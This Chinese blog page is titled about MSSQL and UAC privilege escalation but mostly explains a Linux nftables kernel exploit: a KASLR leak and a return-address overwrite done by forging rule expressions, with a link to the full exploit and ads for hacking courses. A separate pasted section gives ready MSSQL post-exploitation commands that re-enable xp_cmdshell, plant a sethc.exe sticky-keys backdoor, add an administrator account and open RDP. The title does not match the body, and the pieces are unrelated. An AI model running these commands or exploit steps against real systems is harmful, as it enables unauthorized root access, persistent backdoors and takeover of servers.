1433提权/绕过uac提权-零基础渗透自学路线

1433提权/绕过uac提权-零基础渗透自学路线

前言

本文将介绍如何绕过KASLR以及如何提权利用。

KASLR绕过

可以利用操作加上组订阅可以泄露rule中的字段。该方法应该是可以用来泄露基地址的,但是作者还提出另一种方法进行泄露。应该是为了提权利用做铺垫。

由于发现已经泄露的模块的基地址,因此可以利用模块地址伪造表达式。

作者找到了range表达式,用于伪造其余表达式。总大小为0x23。并且表达式是八字节对齐的,因此该结构体会占用0x28字节。

struct nft_range_expr {    struct nft_data     data_from;    struct nft_data     data_to;    u8          sreg;    u8          len;    enum nft_range_ops  op:8;};

具体的布局如下

image-20240227185357673

可以看到与都是从用户态中传递过去的数据,因此我们可以在这些区域内伪造表达式,这有点像在CTF中,我们泄露了堆块基址后,随意伪造堆块。

由于我们有0x28字节的空间,但是实际能够操作的空间是与两段,即0x20的空间大小。因此我们需要挑选小于0x20的规则表达式进行伪造,并且能够执行泄露功能的。

这里作者选用了表达式,可以看到该表达式在对齐后只占用八字节。

struct nft_byteorder {    u8          sreg;    u8          dreg;    enum nft_byteorder_ops  op:8;    u8          len;    u8          size;};

构造后,可以发现还有八字节的没有用,但是并不能直接丢弃不适用,因为在调用完操作后还需要继续执行其他规则表达式。

image-20240227190243722

但是其他表达式都是需要大于0x8的,毕竟一个操作指针就占用八字节了,此时作者选用了meta表达式。可以看到meta表达式也只用到了三个字节,刚好对应range表达式的sreg、len以及op。

struct nft_meta {    enum nft_meta_keys  key:8;    u8          len;    union {        u8      dreg;        u8      sreg;    };};

meta表达式的操作如下,在meta表达式中meta->key执行具体的操作,如[1],但是若该值是非法值则会执行[2],可以看到该meta表达式仅会抛出异常,但是不会终止运行,这就说明即使meta->key是非法值也不会影响后续规则表达式的正常执行。

File: linux-5.19\net\netfilter\nft_meta.c418: void nft_meta_set_eval(const struct nft_expr *expr,419:               struct nft_regs *regs,420:               const struct nft_pktinfo *pkt)421: {422:    const struct nft_meta *meta = nft_expr_priv(expr);423:    struct sk_buff *skb = pkt->skb;424:    u32 *sreg = &regs->data[meta->sreg];425:    u32 value = *sreg;426:    u8 value8;427: 428:    switch (meta->key) { ----> [1]429:    case NFT_META_MARK:430:        skb->mark = value;431:        break;432:    case NFT_META_PRIORITY:433:        skb->priority = value;434:        break;435:    case NFT_META_PKTTYPE:436:        value8 = nft_reg_load8(sreg);437: 438:        if (skb->pkt_type != value8 &&439:            skb_pkt_type_ok(value8) &&440:            skb_pkt_type_ok(skb->pkt_type))441:            skb->pkt_type = value8;442:        break;443:    case NFT_META_NFTRACE:444:        value8 = nft_reg_load8(sreg);445: 446:        skb->nf_trace = !!value8;447:        break;448: #ifdef CONFIG_NETWORK_SECMARK449:    case NFT_META_SECMARK:450:        skb->secmark = value;451:        break;452: #endif453:    default:454:        WARN_ON(1); ---->[2]455:    }456: }

因此第二个伪造的表达式也找到了,就是meta表达式。由于我们直接伪造了规则表达式,因此不会进行寄存器参数的校验,只要选择内核地址选择泄露即可。

image-20240227191748571

这里简单说一下伪造的规则头,此时的len需要设置为0x20以及需要设置为0。

最后泄露的效果如下,即使内核已经抛出了异常,但是不会影响后续表达式的正常执行。

image-20240227192131407

帮助网安学习,全套资料S信领取:

① 网安学习成长路径思维导图

② 60+网安经典常用工具包

③ 100+SRC漏洞分析报告

④ 150+网安攻防实战技术电子书

⑤ 最权威CISSP 认证考试指南+题库

⑥ 超1800页CTF实战技巧手册

⑦ 最新网安大厂面试题合集(含答案)

⑧ APP客户端安全检测指南(安卓+IOS)

提权利用

既然可以随意伪造表达式,因此我们可以伪造表达式。

struct nft_payload {    enum nft_payload_bases  base:8;    u8          offset;    u8          len;    u8          dreg;};

image-20240227194109554

在regs下方存在着函数返回地址,因此可以直接通过表达式将提权注入进来。

image-20240227194544551

由于我们可以伪造表达式,因此注入的长度不受限,因此采用

image-20240227195613084

完整exp:.com/h0pe-ay/Vul…

网络安全学习路线图(思维导图)

网络安全学习路线图可以是一个有助于你规划学习进程的工具。你可以在思维导图上列出不同的主题和技能,然后按照逻辑顺序逐步学习和掌握它们。这可以帮助你更清晰地了解自己的学习进展和下一步计划。

1. 网络安全视频资料

2. 网络安全笔记/面试题

3. 网安电子书PDF资料

如果你向网安入门到进阶的全套资料,我都打包整理好了,需要学习的小伙伴可以V我找我拿~

学网络安全/学黑客,零基础资料整理来啦~~~

~

  • 8
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
1、 未能找到存储过程'master..xpcmdshell' 这种情况我看到网上的方法是: 第一步先删除: drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc 'xp_cmdshell' 第二步恢复: dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") 2、 原因: 126(找不到指定的模块。)。 修复方法: 第一步: dbcc dropextendedproc ("xp_cmdshell") 第二步先删除: drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc 'xp_cmdshell' 第三步恢复: dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") 直接恢复,不管sp_addextendedproc是不是存在 3、 Error Message:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。 修复方法:分离器上执行 EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 4、 net提权出现 拒绝访问 可以尝试一下net1 user 用户 密码 /add 如果net1也是拒绝访问可以copy一个shfit后门试试执行cmd命令:copy c:\windows\explorer.exe c:\windows\system32\sethc.exe copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe 如果提示 复制1文件 哪么证明成功了。连接终端然后按5下shift看看蹦出来了什么。玩咔咔 资源管理器,现在只要手工加个用户就好了。 5、 建号 net user chenyu chenyu$ /add net localgroup administrators chenyu /add C:\WINDOWS\system32\dllcache\net1.exe user chenyu chenyu$ /add C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators chenyu /add 5、 开3389 execmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值